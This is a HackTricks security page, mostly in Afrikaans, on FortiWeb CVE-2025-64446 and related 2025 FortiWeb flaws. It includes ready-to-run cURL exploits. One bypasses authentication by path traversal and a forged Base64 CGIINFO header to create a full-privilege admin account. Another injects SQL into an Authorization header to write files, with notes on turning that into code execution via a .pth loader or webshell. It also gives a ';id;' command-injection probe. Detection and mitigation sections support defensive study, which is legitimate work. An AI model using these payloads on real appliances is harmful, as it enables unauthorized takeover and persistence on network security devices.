Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
Fortinet FortiWeb stel ’n gesentraliseerde CGI dispatcher by /cgi-bin/fwbcgi bloot. ’n Twee-bug ketting laat ’n nie-geauthentiseerde afgeleë aanvaller toe om:
- Bereik
fwbcgideur die URL te begin met ’n geldige API-prefix en traversing directories. - Imiteer enige gebruiker (insluitend die ingeboude
admin) deur ’n spesiale HTTP header te voorsien wat die CGI as identiteit vertrou.
Verskaffer advisering: FG‑IR‑25‑910 (CVE‑2025‑64446). Uitbuiting is in die wild waargeneem om permanente admin-gebruikers te skep.
Geaffekteerde weergawes (soos publieklik gedokumenteer):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 returns HTTP 403 for the traversal probe below.
Vinnige kwesbaarheidstoets
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Interpretasie: HTTP 200 → waarskynlik kwesbaar; HTTP 403 → gepatch.
Oorsaakketting
- API-prefix path traversal to internal CGI
- Enige request path wat begin met ’n geldige FortiWeb API-prefix (bv.
/api/v2.0/cmdb/of/api/v2.0/cmd/) kan met../na/cgi-bin/fwbcgitraverse.
- Minimal-body validation bypass
- Sodra
fwbcgibereik is, voer ’n eerste hek ’n permissiewe JSON-check uit wat geanker is aan ’n per-pad-lêer onder/var/log/inputcheck/. As die lêer afwesig is, slaag die check onmiddellik. As dit bestaan, hoef die body slegs geldige JSON te wees. Gebruik{}as ’n minimale voldoenende body.
- Header-driven user impersonation
- Die program lees die CGI-omgewing-variabele
HTTP_CGIINFO(afgeleid van die HTTP-headerCGIINFO), Base64-dekodeer dit, parseer die JSON en kopieer attributes direk in die login-konteks, en stel die domain/VDOM. Sleutels van belang: username,loginname,vdom,profname- Example JSON to impersonate the built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 van die bogenoemde (soos in die wild gebruik):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Eind-tot-eind misbruikpatroon (nie-geauthentiseer → admin)
- Bereik
/cgi-bin/fwbcgivia API-prefix traversal. - Verskaf enige geldige JSON-body (bv.
{}) om die invoerkontrole te slaag. - Stuur header
CGIINFO: <base64(json)>waar die JSON die teiken-identiteit definieer. - POST die backend JSON wat deur
fwbcgiverwag word om bevoorregte aksies uit te voer (bv. create an admin user for persistence).
Minimale cURL PoC
- Toets vir traversal-blootstelling:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Imiteer admin en skep ’n nuwe plaaslike admin-gebruiker:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Aantekeninge:
- Enige geldige JSON-body is voldoende (bv.
{}) as/var/log/inputcheck/<path>.jsonnie bestaan nie. - Die action schema is FortiWeb-internal; die voorbeeld hierbo voeg ’n plaaslike admin met volle voorregte by.
Ander FortiWeb 2025 kwesbaarhede wat vinnig nagegaan moet word
Pre-auth Fabric Connector SQLi → RCE (CVE-2025-25257)
- Geld vir 7.6.0–7.6.3, 7.4.0–7.4.7, 7.2.0–7.2.10, 7.0.0–7.0.10. Reggestel in 7.6.4 / 7.4.8 / 7.2.11 / 7.0.11.
- Fout:
get_fabric_user_by_token()gebruik dieAuthorization: Bearer <token>waarde direk in ’n SQL-opvraag. Aanvaller verskaf SQL wat as die MySQL-gebruiker uitgevoer word en lêers kan skryf viaSELECT ... INTO OUTFILE, wat kode-uitvoering gee (webshell/.pthloader). - Tipiese aanvalsoppervlakte:
/api/fabric/device/status(en ander Fabric Connector endpoints) oor HTTP/HTTPS op die management plane. - Vinnige toets vir SQLi:
curl -sk -X POST \
-H "Authorization: Bearer ' UNION SELECT NULL,NULL,NULL,NULL INTO OUTFILE '/data/var/tmp/pwn.txt' -- -" \
https://<host>/api/fabric/device/status
- Weaponization: skryf ’n
.pthin FortiWeb se Python site-packages wat by interpreter-startos;os.system(...)invoer, of plaas ’n CGI onder die webroot. Herlaai van dienste sal die payload uitvoer. - Opsporingsaanwysers: Authorization headers wat quotes/UNION/SELECT bevat; onverwagte lêers onder
/data/lib/python*/site-packages/of/data/var/waf/html/ROOT/cgi-bin/.
FortiCloud SSO signature bypass (CVE-2025-59719)
- Onbehoorlike SAML-handtekeningverifikasie laat ’n aanvaller toe om FortiCloud SSO-responsies te vervals en as admin aan te meld sonder inlogbewyse.
- Slegs uitbuitbaar wanneer FortiCloud SSO login geaktiveer is (dit skakel outomaties aan as die appliance via GUI geregistreer is, tensy die keusenvakie uitgevink is).
- Aangetas (volgens PSIRT): 8.0.0, 7.6.0–7.6.4, 7.4.0–7.4.9. Herstel beskikbaar in 8.0.1 / 7.6.5 / 7.4.10.
OS command injection in management plane (CVE-2025-58034)
- Aangetas: 7.0.0–7.0.11, 7.2.0–7.2.11, 7.4.0–7.4.10, 7.6.0–7.6.5, 8.0.0–8.0.1. Vasgestel in 7.0.12 / 7.2.12 / 7.4.11 / 7.6.6 / 8.0.2.
- Praktiese probe (nie-destruktief): stuur ’n parameter wat
;id;bevat na management HTTP-endpoints en kyk vir 500-antwoorde met kommando-uitset; blokkeer of patch onmiddellik as enige echo gesien word.
Opsporing
- Versoeke na
/cgi-bin/fwbcgivia API-prefix-paaie wat../bevat (e.g.,/api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Aanweesigheid van header
CGIINFOmet Base64 JSON wat sleutelsusername/loginname/vdom/profnamebevat. - Fabric Connector SQLi: Authorization headers wat SQL metakarakters bevat, skielike lêers in Python site-packages/CGI-gidse, treffers na
/api/fabric/device/statusvanaf internet IPs. - FortiCloud SSO: onverwagte SAML issuers of audience-waardes in
/var/log/ssod. - Agterkant-artefakte:
- Per-pad-lêers onder
/var/log/inputcheck/(gate configuration). - Onverwagte admin-skepping en konfigurasiewijzigings.
- Vinnige validering: die traversal probe wat 200 teruggee (blootgestel) vs 403 (geblok in reggestelde builds).
- Per-pad-lêers onder
Versagting
- Opgradeer na reggestelde releases (voorbeelde: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) volgens verskafferadvies.
- Patch die ander 2025-foute: SQLi (7.6.4/7.4.8/7.2.11/7.0.11), SSO bypass (8.0.1/7.6.5/7.4.10), command injection (7.6.6/7.4.11/7.2.12/7.0.12/8.0.2).
- Totdat gepatch is:
- Moet nie die FortiWeb management plane aan onbetroubare netwerke blootstel nie.
- Voeg reverse-proxy/WAF-reëls by om te blokkeer:
- Paaie wat begin met
/api/en../cgi-bin/fwbcgibevat. - Versoeke wat ’n
CGIINFOheader dra. - Fabric Connector-oproepe met SQL-metakarakters in
Authorization. - SAML-endpunte vanaf die internet indien FortiCloud SSO nie gebruik word nie.
- Paaie wat begin met
- Monitor en waarsku oor die opsporingsaanwysers hierbo.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
- CVE-2025-25257 — Fabric Connector pre-auth SQLi PoC
- FortiCloud SSO signature bypass overview (CVE-2025-59719)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


